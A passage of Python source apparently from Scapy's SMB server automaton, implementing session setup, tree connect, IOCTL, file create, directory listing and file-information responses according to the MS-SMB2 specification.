self.on_negotiate(pkt)\n\n    @ATMT.receive_condition(NEGOTIATED)\n    def receive_setup_andx_request(self, pkt):\n        if (\n            SMBSession_Setup_AndX_Request_Extended_Security in pkt\n            or SMBSession_Setup_AndX_Request in pkt\n        ):\n            # SMB1\n            if SMBSession_Setup_AndX_Request_Extended_Security in pkt:\n                # Extended\n                ssp_blob = pkt.SecurityBlob\n            else:\n                # Non-extended\n                ssp_blob = pkt[SMBSession_Setup_AndX_Request].UnicodePassword\n            raise self.RECEIVED_SETUP_ANDX_REQUEST().action_parameters(pkt, ssp_blob)\n        elif SMB2_Session_Setup_Request in pkt:\n            # SMB2\n            ssp_blob = pkt.SecurityBlob\n            raise self.RECEIVED_SETUP_ANDX_REQUEST().action_parameters(pkt, ssp_blob)\n\n    @ATMT.state()\n    def RECEIVED_SETUP_ANDX_REQUEST(self):\n        pass\n\n    @ATMT.action(receive_setup_andx_request)\n    def on_setup_andx_request(self, pkt, ssp_blob):\n        self.session.sspcontext, tok, status = self.session.ssp.GSS_Accept_sec_context(\n            self.session.sspcontext,\n            ssp_blob,\n        )\n        self.update_smbheader(pkt)\n        if SMB2_Session_Setup_Request in pkt:\n            # SMB2\n            self.smb_header.SessionId = 0x0001000000000015\n        if status not in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]:\n            # Error\n            if SMB2_Session_Setup_Request in pkt:\n                # SMB2\n                resp = self.smb_header.copy() / SMB2_Session_Setup_Response()\n                # Set security blob (if any)\n                resp.SecurityBlob = tok\n            else:\n                # SMB1\n                resp = self.smb_header.copy() / SMBSession_Null()\n            # Map some GSS return codes to NTStatus\n            if status == GSS_S_CREDENTIALS_EXPIRED:\n                resp.Status = \"STATUS_PASSWORD_EXPIRED\"\n            else:\n                resp.Status = \"STATUS_LOGON_FAILURE\"\n            # Reset Session preauth (SMB 3.1.1)\n            self.session.SessionPreauthIntegrityHashValue = None\n        else:\n            # Negotiation\n            if (\n                SMBSession_Setup_AndX_Request_Extended_Security in pkt\n                or SMB2_Session_Setup_Request in pkt\n            ):\n                # SMB1 extended / SMB2\n                if SMB2_Session_Setup_Request in pkt:\n                    resp = self.smb_header.copy() / SMB2_Session_Setup_Response()\n                    if self.GUEST_LOGIN:\n                        # \"If the security subsystem indicates that the session\n                        # was established by a guest user, Session.SigningRequired\n                        # MUST be set to FALSE and Session.IsGuest MUST be set to TRUE.\"\n                        resp.SessionFlags = \"IS_GUEST\"\n                        self.session.IsGuest = True\n                        self.session.SigningRequired = False\n                    if self.ANONYMOUS_LOGIN:\n                        resp.SessionFlags = \"IS_NULL\"\n                    # [MS-SMB2] sect 3.3.5.5.3\n                    if self.session.Dialect >= 0x0300 and self.REQUIRE_ENCRYPTION:\n                        resp.SessionFlags += \"ENCRYPT_DATA\"\n                else:\n                    # SMB1 extended\n                    resp = (\n                        self.smb_header.copy()\n                        / SMBSession_Setup_AndX_Response_Extended_Security(\n                            NativeOS=\"Windows 4.0\",\n                            NativeLanMan=\"Windows 4.0\",\n                        )\n                    )\n                    if self.GUEST_LOGIN:\n                        resp.Action = \"SMB_SETUP_GUEST\"\n                # Set security blob\n                resp.SecurityBlob = tok\n            elif SMBSession_Setup_AndX_Request in pkt:\n                # Non-extended\n                resp = self.smb_header.copy() / SMBSession_Setup_AndX_Response(\n                    NativeOS=\"Windows 4.0\",\n                    NativeLanMan=\"Windows 4.0\",\n                )\n            resp.Status = 0x0 if (status == GSS_S_COMPLETE) else 0xC0000016\n        # We have a response. If required, compute sessions\n        if status == GSS_S_CONTINUE_NEEDED:\n            # the setup session response is used in hash\n            self.session.computeSMBSessionPreauth(\n                bytes(pkt[SMB2_Header]),  # session setup request\n                bytes(resp[SMB2_Header]),  # session setup response\n            )\n        else:\n            # the setup session response is not used in hash\n            self.session.computeSMBSessionPreauth(\n                bytes(pkt[SMB2_Header]),  # session setup request\n            )\n        if status == GSS_S_COMPLETE:\n            # Authentication was successful\n            self.session.computeSMBSessionKeys(IsClient=False)\n            self.authenticated = True\n        # [MS-SMB2] Note: \"Windows-based servers always sign the final session setup\n        # response when the user is neither anonymous nor guest.\"\n        # If not available, it will still be ignored.\n        self.NextForceSign = True\n        self.send(resp)\n        # Check whether we must enable encryption from now on\n        if (\n            self.authenticated\n            and not self.session.IsGuest\n            and self.session.Dialect >= 0x0300\n            and self.REQUIRE_ENCRYPTION\n        ):\n            # [MS-SMB2] sect 3.3.5.5.3: from now on, turn encryption on !\n            self.session.EncryptData = True\n            self.session.SigningRequired = False\n\n    @ATMT.condition(RECEIVED_SETUP_ANDX_REQUEST)\n    def wait_for_next_request(self):\n        if self.authenticated:\n            self.vprint(\n                \"User authenticated %s!\" % (self.GUEST_LOGIN and \" as guest\" or \"\")\n            )\n            raise self.AUTHENTICATED()\n        else:\n            raise self.NEGOTIATED()\n\n    @ATMT.state()\n    def AUTHENTICATED(self):\n        \"\"\"Dev: overload this\"\"\"\n        pass\n\n    # DEV: add a condition on AUTHENTICATED with prio=0\n\n    @ATMT.condition(AUTHENTICATED, prio=1)\n    def should_serve(self):\n        # Serve files\n        self.current_trees = {}\n        self.current_handles = {}\n        self.enumerate_index = {}  # used for query directory enumeration\n        self.tree_id = 0\n        self.base_time_t = self.current_smb_time()\n        raise self.SERVING()\n\n    def _ioctl_error(self, Status=\"STATUS_NOT_SUPPORTED\"):\n        pkt = self.smb_header.copy() / SMB2_Error_Response(ErrorData=b\"\\xff\")\n        pkt.Status = Status\n        pkt.Command = \"SMB2_IOCTL\"\n        self.send(pkt)\n\n    @ATMT.state(final=1)\n    def END(self):\n        self.end()\n\n    # SERVE FILES\n\n    def current_tree(self):\n        \"\"\"\n        Return the current tree name\n        \"\"\"\n        return self.current_trees[self.smb_header.TID]\n\n    def root_path(self):\n        \"\"\"\n        Return the root path of the current tree\n        \"\"\"\n        curtree = self.current_tree()\n        try:\n            share_path = next(x.path for x in self.shares if x._name == curtree.lower())\n        except StopIteration:\n            return None\n        return pathlib.Path(share_path).resolve()\n\n    @ATMT.state()\n    def SERVING(self):\n        \"\"\"\n        Main state when serving files\n        \"\"\"\n        pass\n\n    @ATMT.receive_condition(SERVING)\n    def receive_logoff_request(self, pkt):\n        if SMB2_Session_Logoff_Request in pkt:\n            raise self.NEGOTIATED().action_parameters(pkt)\n\n    @ATMT.action(receive_logoff_request)\n    def send_logoff_response(self, pkt):\n        self.update_smbheader(pkt)\n        self.send(self.smb_header.copy() / SMB2_Session_Logoff_Response())\n\n    @ATMT.receive_condition(SERVING)\n    def receive_setup_andx_request_in_serving(self, pkt):\n        self.receive_setup_andx_request(pkt)\n\n    @ATMT.receive_condition(SERVING)\n    def is_smb1_tree(self, pkt):\n        if SMBTree_Connect_AndX in pkt:\n            # Unsupported\n            log_runtime.warning(\"Tree request in SMB1: unimplemented. Quit\")\n            raise self.END()\n\n    @ATMT.receive_condition(SERVING)\n    def receive_tree_connect(self, pkt):\n        if SMB2_Tree_Connect_Request in pkt:\n            tree_name = pkt[SMB2_Tree_Connect_Request].Path.split(\"\\\\\")[-1]\n            raise self.SERVING().action_parameters(pkt, tree_name)\n\n    @ATMT.action(receive_tree_connect)\n    def send_tree_connect_response(self, pkt, tree_name):\n        self.update_smbheader(pkt)\n        # Check the tree name against the shares we're serving\n        try:\n            share = next(x for x in self.shares if x._name == tree_name.lower())\n        except StopIteration:\n            # Unknown tree\n            resp = self.smb_header.copy() / SMB2_Error_Response()\n            resp.Command = \"SMB2_TREE_CONNECT\"\n            resp.Status = \"STATUS_BAD_NETWORK_NAME\"\n            self.send(resp)\n            return\n        # Add tree to current trees\n        if tree_name not in self.current_trees:\n            self.tree_id += 1\n            self.smb_header.TID = self.tree_id\n        self.current_trees[self.smb_header.TID] = tree_name\n\n        # Construct ShareFlags\n        ShareFlags = (\n            \"AUTO_CACHING+NO_CACHING\"\n            if self.current_tree() == \"IPC$\"\n            else self.TREE_SHARE_FLAGS\n        )\n        # [MS-SMB2] sect 3.3.5.7\n        if (\n            self.session.Dialect >= 0x0311\n            and not self.session.EncryptData\n            and share.encryptdata\n        ):\n            if not self.session.SupportsEncryption:\n                raise Exception(\"Peer asked for encryption but doesn't support it !\")\n            ShareFlags += \"+ENCRYPT_DATA\"\n\n        self.vprint(\"Tree Connect on: %s\" % tree_name)\n        self.send(\n            self.smb_header.copy()\n            / SMB2_Tree_Connect_Response(\n                ShareType=\"PIPE\" if self.current_tree() == \"IPC$\" else \"DISK\",\n                ShareFlags=ShareFlags,\n                Capabilities=(\n                    0 if self.current_tree() == \"IPC$\" else self.TREE_CAPABILITIES\n                ),\n                MaximalAccess=self.TREE_MAXIMAL_ACCESS,\n            )\n        )\n\n    @ATMT.receive_condition(SERVING)\n    def receive_ioctl(self, pkt):\n        if SMB2_IOCTL_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_ioctl)\n    def send_ioctl_response(self, pkt):\n        self.update_smbheader(pkt)\n        if pkt.CtlCode == 0x11C017:\n            # FSCTL_PIPE_TRANSCEIVE\n            self.rpc_server.recv(pkt.Input.load)\n            self.send(\n                self.smb_header.copy()\n                / SMB2_IOCTL_Response(\n                    CtlCode=0x11C017,\n                    FileId=pkt[SMB2_IOCTL_Request].FileId,\n                    Buffer=[(\"Output\", self.rpc_server.get_response())],\n                )\n            )\n        elif pkt.CtlCode == 0x00140204 and self.session.sspcontext.SessionKey:\n            # FSCTL_VALIDATE_NEGOTIATE_INFO\n            # This is a security measure asking the server to validate\n            # what flags were negotiated during the SMBNegotiate exchange.\n            # This packet is ALWAYS signed, and expects a signed response.\n\n            # https://docs.microsoft.com/en-us/archive/blogs/openspecification/smb3-secure-dialect-negotiation\n            # > \"Down-level servers (pre-Windows 2012) will return\n            # > STATUS_NOT_SUPPORTED or STATUS_INVALID_DEVICE_REQUEST\n            # > since they do not allow or implement\n            # > FSCTL_VALIDATE_NEGOTIATE_INFO.\n            # > The client should accept the\n            # > response provided it's properly signed\".\n\n            if (self.session.Dialect or 0) < 0x0300:\n                # SMB < 3 isn't supposed to support FSCTL_VALIDATE_NEGOTIATE_INFO\n                self._ioctl_error(Status=\"STATUS_FILE_CLOSED\")\n                return\n\n            # SMB3\n            self.send(\n                self.smb_header.copy()\n                / SMB2_IOCTL_Response(\n                    CtlCode=0x00140204,\n                    FileId=pkt[SMB2_IOCTL_Request].FileId,\n                    Buffer=[\n                        (\n                            \"Output\",\n                            SMB2_IOCTL_Validate_Negotiate_Info_Response(\n                                GUID=self.GUID,\n                                DialectRevision=self.session.Dialect,\n                                SecurityMode=(\n                                    \"SIGNING_ENABLED+SIGNING_REQUIRED\"\n                                    if self.session.SigningRequired\n                                    else \"SIGNING_ENABLED\"\n                                ),\n                                Capabilities=self.NegotiateCapabilities,\n                            ),\n                        )\n                    ],\n                )\n            )\n        elif pkt.CtlCode == 0x001401FC:\n            # FSCTL_QUERY_NETWORK_INTERFACE_INFO\n            self.send(\n                self.smb_header.copy()\n                / SMB2_IOCTL_Response(\n                    CtlCode=0x001401FC,\n                    FileId=pkt[SMB2_IOCTL_Request].FileId,\n                    Output=SMB2_IOCTL_Network_Interface_Info(\n                        interfaces=[\n                            NETWORK_INTERFACE_INFO(\n                                SockAddr_Storage=SOCKADDR_STORAGE(\n                                    Family=0x0002,\n                                    IPv4Adddress=x,\n                                )\n                            )\n                            for x in self.LOCAL_IPS\n                        ]\n                    ),\n                )\n            )\n        elif pkt.CtlCode == 0x00060194:\n            # FSCTL_DFS_GET_REFERRALS\n            if (\n                self.DOMAIN_REFERRALS\n                and not pkt[SMB2_IOCTL_Request].Input.RequestFileName\n            ):\n                # Requesting domain referrals\n                self.send(\n                    self.smb_header.copy()\n                    / SMB2_IOCTL_Response(\n                        CtlCode=0x00060194,\n                        FileId=pkt[SMB2_IOCTL_Request].FileId,\n                        Output=SMB2_IOCTL_RESP_GET_DFS_Referral(\n                            ReferralEntries=[\n                                DFS_REFERRAL_V3(\n                                    ReferralEntryFlags=\"NameListReferral\",\n                                    TimeToLive=600,\n                                )\n                                for _ in self.DOMAIN_REFERRALS\n                            ],\n                            ReferralBuffer=[\n                                DFS_REFERRAL_ENTRY1(SpecialName=name)\n                                for name in self.DOMAIN_REFERRALS\n                            ],\n                        ),\n                    )\n                )\n                return\n            resp = self.smb_header.copy() / SMB2_Error_Response()\n            resp.Command = \"SMB2_IOCTL\"\n            resp.Status = \"STATUS_FS_DRIVER_REQUIRED\"\n            self.send(resp)\n        else:\n            # Among other things, FSCTL_VALIDATE_NEGOTIATE_INFO\n            self._ioctl_error(Status=\"STATUS_NOT_SUPPORTED\")\n\n    @ATMT.receive_condition(SERVING)\n    def receive_create_file(self, pkt):\n        if SMB2_Create_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    PIPES_TABLE = {\n        \"srvsvc\": SMB2_FILEID(Persistent=0x4000000012, Volatile=0x4000000001),\n        \"wkssvc\": SMB2_FILEID(Persistent=0x4000000013, Volatile=0x4000000002),\n        \"NETLOGON\": SMB2_FILEID(Persistent=0x4000000014, Volatile=0x4000000003),\n    }\n\n    # special handle in case of compounded requests ([MS-SMB2] 3.2.4.1.4)\n    # that points to the chained opened file handle\n    LAST_HANDLE = SMB2_FILEID(\n        Persistent=0xFFFFFFFFFFFFFFFF, Volatile=0xFFFFFFFFFFFFFFFF\n    )\n\n    def current_smb_time(self):\n        return (\n            FileNetworkOpenInformation().get_field(\"CreationTime\").i2m(None, None)\n            - 864000000000  # one day ago\n        )\n\n    def make_file_id(self, fname):\n        \"\"\"\n        Generate deterministic FileId based on the fname\n        \"\"\"\n        hash = hashlib.md5((fname or \"\").encode()).digest()\n        return 0x4000000000 | struct.unpack(\"<I\", hash[:4])[0]\n\n    def lookup_file(self, fname, durable_handle=None, create=False, createOptions=None):\n        \"\"\"\n        Lookup the file and build it's SMB2_FILEID\n        \"\"\"\n        root = self.root_path()\n        if isinstance(fname, pathlib.Path):\n            path = fname\n            fname = path.name\n        else:\n            path = root / (fname or \"\").replace(\"\\\\\", \"/\")\n        path = path.resolve()\n        # Word of caution: this check ONLY works because root and path have been\n        # resolve(). Be careful\n        # Note: symbolic links are currently unsupported.\n        if root not in path.parents and path != root:\n            raise FileNotFoundError\n        if WINDOWS and path.is_reserved():\n            raise FileNotFoundError\n        if not path.exists():\n            if create and createOptions:\n                if createOptions.FILE_DIRECTORY_FILE:\n                    # Folder creation\n                    path.mkdir()\n                    self.vprint(\"Created folder:\" + fname)\n                else:\n                    # File creation\n                    path.touch()\n                    self.vprint(\"Created file:\" + fname)\n            else:\n                raise FileNotFoundError\n        if durable_handle is None:\n            handle = SMB2_FILEID(\n                Persistent=self.make_file_id(fname) + self.smb_header.MID,\n            )\n        else:\n            # We were given a durable handle. Use it\n            handle = durable_handle\n        attrs = {\n            \"CreationTime\": self.base_time_t,\n            \"LastAccessTime\": self.base_time_t,\n            \"LastWriteTime\": self.base_time_t,\n            \"ChangeTime\": self.base_time_t,\n            \"EndOfFile\": 0,\n            \"AllocationSize\": 0,\n        }\n        path_stat = path.stat()\n        attrs[\"EndOfFile\"] = attrs[\"AllocationSize\"] = path_stat.st_size\n        if fname is None:\n            # special case\n            attrs[\"FileAttributes\"] = \"+\".join(\n                [\n                    \"FILE_ATTRIBUTE_HIDDEN\",\n                    \"FILE_ATTRIBUTE_SYSTEM\",\n                    \"FILE_ATTRIBUTE_DIRECTORY\",\n                ]\n            )\n        elif path.is_dir():\n            attrs[\"FileAttributes\"] = \"FILE_ATTRIBUTE_DIRECTORY\"\n        else:\n            attrs[\"FileAttributes\"] = \"FILE_ATTRIBUTE_ARCHIVE\"\n        self.current_handles[handle] = (\n            path,  # file path\n            attrs,  # file attributes\n        )\n        self.enumerate_index[handle] = 0\n        return handle\n\n    def set_compounded_handle(self, handle):\n        \"\"\"\n        Mark a handle as the current one being compounded.\n        \"\"\"\n        self.CompoundedHandle = handle\n\n    def get_file_id(self, pkt):\n        \"\"\"\n        Return the FileId attribute of pkt, accounting for compounded requests.\n        \"\"\"\n        fid = pkt.FileId\n        if fid == self.LAST_HANDLE:\n            return self.CompoundedHandle\n        return fid\n\n    def lookup_folder(self, handle, filter, offset, cls):\n        \"\"\"\n        Lookup a folder handle\n        \"\"\"\n        path = self.current_handles[handle][0]\n        self.vprint(\"Query directory: \" + str(path))\n        self.current_handles[handle][1][\"LastAccessTime\"] = self.current_smb_time()\n        if not path.is_dir():\n            raise NotADirectoryError\n        return sorted(\n            [\n                cls(FileName=x.name, **self.current_handles[self.lookup_file(x)][1])\n                for x in path.glob(filter)\n                # Note: symbolic links are unsupported because it's hard to check\n                # for path traversal on them.\n                if not x.is_symlink()\n            ]\n            + [\n                cls(\n                    FileAttributes=(\"FILE_ATTRIBUTE_DIRECTORY\"),\n                    FileName=\".\",\n                )\n            ]\n            + (\n                [\n                    cls(\n                        FileAttributes=(\"FILE_ATTRIBUTE_DIRECTORY\"),\n                        FileName=\"..\",\n                    )\n                ]\n                if path.resolve() != self.root_path()\n                else []\n            ),\n            key=lambda x: x.FileName,\n        )[offset:]\n\n    @ATMT.action(receive_create_file)\n    def send_create_file_response(self, pkt):\n        \"\"\"\n        Handle CreateFile request\n\n        See [MS-SMB2] 3.3.5.9 ()\n        \"\"\"\n        self.update_smbheader(pkt)\n        if pkt[SMB2_Create_Request].NameLen:\n            fname = pkt[SMB2_Create_Request].Name\n        else:\n            fname = None\n        if fname:\n            self.vprint(\"Opened: \" + fname)\n        if self.current_tree() == \"IPC$\":\n            # Special IPC$ case: opening a pipe\n            FILE_ID = self.PIPES_TABLE.get(fname, None)\n            if FILE_ID:\n                attrs = {\n                    \"CreationTime\": 0,\n                    \"LastAccessTime\": 0,\n                    \"LastWriteTime\": 0,\n                    \"ChangeTime\": 0,\n                    \"EndOfFile\": 0,\n                    \"AllocationSize\": 4096,\n                }\n                self.current_handles[FILE_ID] = (\n                    fname,\n                    attrs,\n                )\n                self.send(\n                    self.smb_header.copy()\n                    / SMB2_Create_Response(\n                        OplockLevel=pkt.RequestedOplockLevel,\n                        FileId=FILE_ID,\n                        **attrs,\n                    )\n                )\n            else:\n                # NOT_FOUND\n                resp = self.smb_header.copy() / SMB2_Error_Response()\n                resp.Command = \"SMB2_CREATE\"\n                resp.Status = \"STATUS_OBJECT_NAME_NOT_FOUND\"\n                self.send(resp)\n            return\n        else:\n            # Check if there is a Durable Handle Reconnect Request\n            durable_handle = None\n            if pkt[SMB2_Create_Request].CreateContextsLen:\n                try:\n                    durable_handle = next(\n                        x.Data.FileId\n                        for x in pkt[SMB2_Create_Request].CreateContexts\n                        if x.Name == b\"DH2C\"\n                    )\n                except StopIteration:\n                    pass\n            # Lookup file handle\n            try:\n                handle = self.lookup_file(fname, durable_handle=durable_handle)\n            except FileNotFoundError:\n                # NOT_FOUND\n                if pkt[SMB2_Create_Request].CreateDisposition in [\n                    0x00000002,  # FILE_CREATE\n                    0x00000005,  # FILE_OVERWRITE_IF\n                ]:\n                    if self.readonly:\n                        resp = self.smb_header.copy() / SMB2_Error_Response()\n                        resp.Command = \"SMB2_CREATE\"\n                        resp.Status = \"STATUS_ACCESS_DENIED\"\n                        self.send(resp)\n                        return\n                    else:\n                        # Create file\n                        handle = self.lookup_file(\n                            fname,\n                            durable_handle=durable_handle,\n                            create=True,\n                            createOptions=pkt[SMB2_Create_Request].CreateOptions,\n                        )\n                else:\n                    resp = self.smb_header.copy() / SMB2_Error_Response()\n                    resp.Command = \"SMB2_CREATE\"\n                    resp.Status = \"STATUS_OBJECT_NAME_NOT_FOUND\"\n                    self.send(resp)\n                    return\n            # Store compounded handle\n            self.set_compounded_handle(handle)\n            # Build response\n            attrs = self.current_handles[handle][1]\n            resp = self.smb_header.copy() / SMB2_Create_Response(\n                OplockLevel=pkt.RequestedOplockLevel,\n                FileId=handle,\n                **attrs,\n            )\n            # Handle the various chain elements\n            if pkt[SMB2_Create_Request].CreateContextsLen:\n                CreateContexts = []\n                # Note: failing to provide context elements when the client asks for\n                # them will make the windows implementation fall into a weird\n                # \"the-server-is-dumb\" mode. So provide them 'quoi qu'il en coûte'.\n                for elt in pkt[SMB2_Create_Request].CreateContexts:\n                    if elt.Name == b\"QFid\":\n                        # [MS-SMB2] sect 3.3.5.9.9\n                        CreateContexts.append(\n                            SMB2_Create_Context(\n                                Name=b\"QFid\",\n                                Data=SMB2_CREATE_QUERY_ON_DISK_ID(\n                                    DiskFileId=self.make_file_id(fname),\n                                    VolumeId=0xBA39CD11,\n                                ),\n                            )\n                        )\n                    elif elt.Name == b\"MxAc\":\n                        # [MS-SMB2] sect 3.3.5.9.5\n                        CreateContexts.append(\n                            SMB2_Create_Context(\n                                Name=b\"MxAc\",\n                                Data=SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE(\n                                    QueryStatus=0,\n                                    MaximalAccess=self.FILE_MAXIMAL_ACCESS,\n                                ),\n                            )\n                        )\n                    elif elt.Name == b\"DH2Q\":\n                        # [MS-SMB2] sect 3.3.5.9.10\n                        if \"FILE_ATTRIBUTE_DIRECTORY\" in attrs[\"FileAttributes\"]:\n                            continue\n                        CreateContexts.append(\n                            SMB2_Create_Context(\n                                Name=b\"DH2Q\",\n                                Data=SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2(\n                                    Timeout=180000\n                                ),\n                            )\n                        )\n                    elif elt.Name == b\"RqLs\":\n                        # [MS-SMB2] sect 3.3.5.9.11\n                        # TODO: hmm, we are probably supposed to do something here\n                        CreateContexts.append(\n                            SMB2_Create_Context(\n                                Name=b\"RqLs\",\n                                Data=elt.Data,\n                            )\n                        )\n                resp.CreateContexts = CreateContexts\n        self.send(resp)\n\n    @ATMT.receive_condition(SERVING)\n    def receive_change_notify_info(self, pkt):\n        if SMB2_Change_Notify_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_change_notify_info)\n    def send_change_notify_info_response(self, pkt):\n        # [MS-SMB2] sect 3.3.5.19\n        # \"If the underlying object store does not support change notifications, the\n        # server MUST fail this request with STATUS_NOT_SUPPORTED.\"\n        self.update_smbheader(pkt)\n        resp = self.smb_header.copy() / SMB2_Error_Response()\n        resp.Command = \"SMB2_CHANGE_NOTIFY\"\n        # ScapyFS doesn't support notifications\n        resp.Status = \"STATUS_NOT_SUPPORTED\"\n        self.send(resp)\n\n    @ATMT.receive_condition(SERVING)\n    def receive_query_directory_info(self, pkt):\n        if SMB2_Query_Directory_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_query_directory_info)\n    def send_query_directory_response(self, pkt):\n        self.update_smbheader(pkt)\n        if not pkt.FileNameLen:\n            # this is broken.\n            return\n        query = pkt.FileName\n        fid = self.get_file_id(pkt)\n        # Check for handled FileInformationClass\n        # 0x02: FileFullDirectoryInformation\n        # 0x03: FileBothDirectoryInformation\n        # 0x25: FileIdBothDirectoryInformation\n        if pkt.FileInformationClass not in [0x02, 0x03, 0x25]:\n            # Unknown FileInformationClass\n            resp = self.smb_header.copy() / SMB2_Error_Response()\n            resp.Command = \"SMB2_QUERY_DIRECTORY\"\n            resp.Status = \"STATUS_INVALID_INFO_CLASS\"\n            self.send(resp)\n            return\n        # Handle SMB2_RESTART_SCANS\n        if pkt[SMB2_Query_Directory_Request].Flags.SMB2_RESTART_SCANS:\n            self.enumerate_index[fid] = 0\n        # Lookup the files\n        try:\n            files = self.lookup_folder(\n                fid,\n                query,\n                self.enumerate_index[fid],\n                {\n                    0x02: FILE_FULL_DIR_INFORMATION,\n                    0x03: FILE_BOTH_DIR_INFORMATION,\n                    0x25: FILE_ID_BOTH_DIR_INFORMATION,\n                }[pkt.FileInformationClass],\n            )\n        except NotADirectoryError:\n            resp = self.smb_header.copy() / SMB2_Error_Response()\n            resp.Command = \"SMB2_QUERY_DIRECTORY\"\n            resp.Status = \"STATUS_INVALID_PARAMETER\"\n            self.send(resp)\n            return\n        if not files:\n            # No more files !\n            self.enumerate_index[fid] = 0\n            resp = self.smb_header.copy() / SMB2_Error_Response()\n            resp.Command = \"SMB2_QUERY_DIRECTORY\"\n            resp.Status = \"STATUS_NO_MORE_FILES\"\n            self.send(resp)\n            return\n        # Handle SMB2_RETURN_SINGLE_ENTRY\n        if pkt[SMB2_Query_Directory_Request].Flags.SMB2_RETURN_SINGLE_ENTRY:\n            files = files[:1]\n        # Increment index\n        self.enumerate_index[fid] += len(files)\n        # Build response based on the FileInformationClass\n        fileinfo = FileIdBothDirectoryInformation(\n            files=files,\n        )\n        self.send(\n            self.smb_header.copy()\n            / SMB2_Query_Directory_Response(Buffer=[(\"Output\", fileinfo)])\n        )\n\n    @ATMT.receive_condition(SERVING)\n    def receive_query_info(self, pkt):\n        if SMB2_Query_Info_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_query_info)\n    def send_query_info_response(self, pkt):\n        self.update_smbheader(pkt)\n        # [MS-FSCC] + [MS-SMB2] sect 2.2.37 / 3.3.5.20.1\n        fid = self.get_file_id(pkt)\n        if pkt.InfoType == 0x01:  # SMB2_0_INFO_FILE\n            if pkt.FileInfoClass == 0x05:  # FileStandardInformation\n                attrs = self.current_handles[fid][1]\n                fileinfo = FileStandardInformation(\n                    EndOfFile=attrs[\"EndOfFile\"],\n                    AllocationSize=attrs[\"AllocationSize\"],\n                )\n            elif pkt.FileInfoClass == 0x06:  # FileInternalInformation\n                pth = self.current_handles[fid][0]\n                fileinfo = FileInternalInformation(\n                    IndexNumber=hash(pth) & 0xFFFFFFFFFFFFFFFF,\n                )\n            elif pkt.FileInfoClass == 0x07:  # FileEaInformation\n                fileinfo = FileEaInformation()\n            elif pkt.FileInfoClass == 0x12:  # FileAllInformation\n                attrs = self.current_handles[fid][1]\n                fileinfo = FileAllInformation(\n                    BasicInformation=FileBasicInformation(\n                        CreationTime=attrs[\"CreationTime\"],\n                        LastAccessTime=attrs[\"LastAccessTime\"],\n                        LastWriteTime=attrs[\"LastWriteTime\"],\n                        ChangeTime=attrs[\"ChangeTime\"],\n                        FileAttributes=attrs[\"FileAttributes\"],\n                    ),\n                    StandardInformation=FileStandardInformation(\n                        EndOfFile=attrs[\"EndOfFile\"],\n                        AllocationSize=attrs[\"AllocationSize\"],\n                    ),\n                )\n            elif pkt.FileInfoClass == 0x15:  # FileAlternateNameInformation\n                pth = self.current_handles[fid][0]\n                fileinfo = FileAlternateNameInformation(\n                    FileName=pth.name,\n                )\n            elif pkt.FileInfoClass == 0x16:  # FileStreamInformation\n                attrs = self.current_handles[fid][1]\n                fileinfo = FileStreamInformation(\n                    StreamSize=attrs[\"EndOfFile\"],\n                    StreamAllocationSize=attrs[\"AllocationSize\"],\n                )\n            elif pkt.FileInfoClass == 0x22:  # FileNetworkOpenInformation\n                attrs = self.current_handles[fid][1]\n                fileinfo = FileNetworkOpenInformation(\n                    **attrs,\n                )\n            elif pkt.FileInfoClass == 0x30:  # FileNormalizedNameInformation\n                pth = self.current_handles[fid][0]\n                fileinfo = FILE_NAME_INFORMATION(\n                    FileName=pth.name,\n                )\n            else:\n                log_runtime.warning(\n                    \"Unimplemented: %s\"\n                    % pkt[SMB2_Query_Info_Request].sprintf(\"%InfoType% %FileInfoClass%\")\n                )\n                return\n        elif pkt.InfoType == 0x02:  # SMB2_0_INFO_FILESYSTEM\n            # [MS-FSCC] sect 2.5\n            if pkt.FileInfoClass == 0x01:  # FileFsVolumeInformation\n                fileinfo = FileFsVolumeInformation()\n            elif pkt.FileInfoClass == 0x03:  # FileFsSizeInformation\n                fileinfo = FileFsSizeInformation()\n            elif pkt.FileInfoClass == 0x05:  # FileFsAttributeInformation\n                fileinfo = FileFsAttributeInformation(\n                    FileSystemAttributes=0x88000F,\n                )\n            elif pkt.FileInfoClass == 0x07:  # FileEaInformation\n                fileinfo = FileEaInformation()\n            else:\n                log_runtime.warning(\n                    \"Unimplemented: %s\"\n                    % pkt[SMB2_Query_Info_Request].sprintf(\"%InfoType% %FileInfoClass%\")\n                )\n                return\n        elif pkt.InfoType == 0x03:  # SMB2_0_INFO_SECURITY\n            # [MS-FSCC] 2.4.6\n            fileinfo = SECURITY_DESCRIPTOR()\n            # TODO: fill it\n            if pkt.AdditionalInformation.OWNER_SECURITY_INFORMATION:\n                pass\n            if pkt.AdditionalInformation.GROUP_SECURITY_INFORMATION:\n                pass\n            if pkt.AdditionalInformation.DACL_SECURITY_INFORMATION:\n                pass\n            if pkt.AdditionalInformation.SACL_SECURITY_INFORMATION:\n                pass\n            # Observed:\n            if (\n                pkt.AdditionalInformation.OWNER_SECURITY_INFORMATION\n                or pkt.AdditionalInformation.SACL_SECURITY_INFORMATION\n                or pkt.AdditionalInformation.GROUP_SECURITY_INFORMATION\n                or pkt.AdditionalInformation.DACL_SECURITY_INFORMATION\n            ):\n                pkt = self.smb_header.copy() / SMB2_Error_Response(ErrorData=b\"\\xff\")\n                pkt.Status = \"STATUS_ACCESS_DENIED\"\n                pkt.Command = \"SMB2_QUERY_INFO\"\n                self.send(pkt)\n                return\n            if pkt.AdditionalInformation.ATTRIBUTE_SECURITY_INFORMATION:\n                fileinfo.Control = 0x8800\n        self.send(\n            self.smb_header.copy()\n            / SMB2_Query_Info_Response(Buffer=[(\"Output\", fileinfo)])\n        )\n\n    @ATMT.receive_condition(SERVING)\n    def receive_set_info_request(self, pkt):\n        if SMB2_Set_Info_Request in pkt:\n            raise self.SERVING().action_parameters(pkt)\n\n    @ATMT.action(receive_set_info_request)\n    def send_set_info_response(self, pkt):\n        self.update_smbheader(pkt)\n        self.send(self.smb_header.copy() / SMB2_Set_Info_Response())\n\n    @ATMT.receive_condition(SERVING)\n    def receive_write_request(self, pkt):\n        if SMB2_Write_Request in pkt:\n            raise 